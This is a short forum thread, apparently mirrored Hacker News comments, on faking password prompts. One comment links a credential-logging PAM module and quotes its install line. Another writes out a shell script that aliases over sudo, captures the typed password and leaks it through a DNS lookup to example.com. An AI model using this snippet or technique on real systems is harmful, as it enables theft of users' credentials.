iOS Privacy: Easily get a user's Apple ID password, just by asking

Re:iOS Privacy: Easily get a user's Apple ID password, just ... by spydum on Tuesday October 10, 2017 @09:53AM (#15441762)

I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.

[ Parent | on HN ]

Re:iOS Privacy: Easily get a user's Apple ID password, just ... by blincoln on Tuesday October 10, 2017 @11:36AM (#15442669)

There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.).

[1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal

[ Parent | on HN ]

Re:iOS Privacy: Easily get a user's Apple ID password, just ... by e12e on Tuesday October 10, 2017 @12:48PM (#15443279)

You can't insert a pam module without root? But you can alias sudo to a script that does something like:

  echo "enter sudo pw:"
  read pw
  # log ip and query on ns for
  # example.com
  host "$USER.$pw.example.com" &
  echo "Invalid pw"
  sudo $*

Ed: from the github link: > Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth

If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...

[ Parent | on HN ]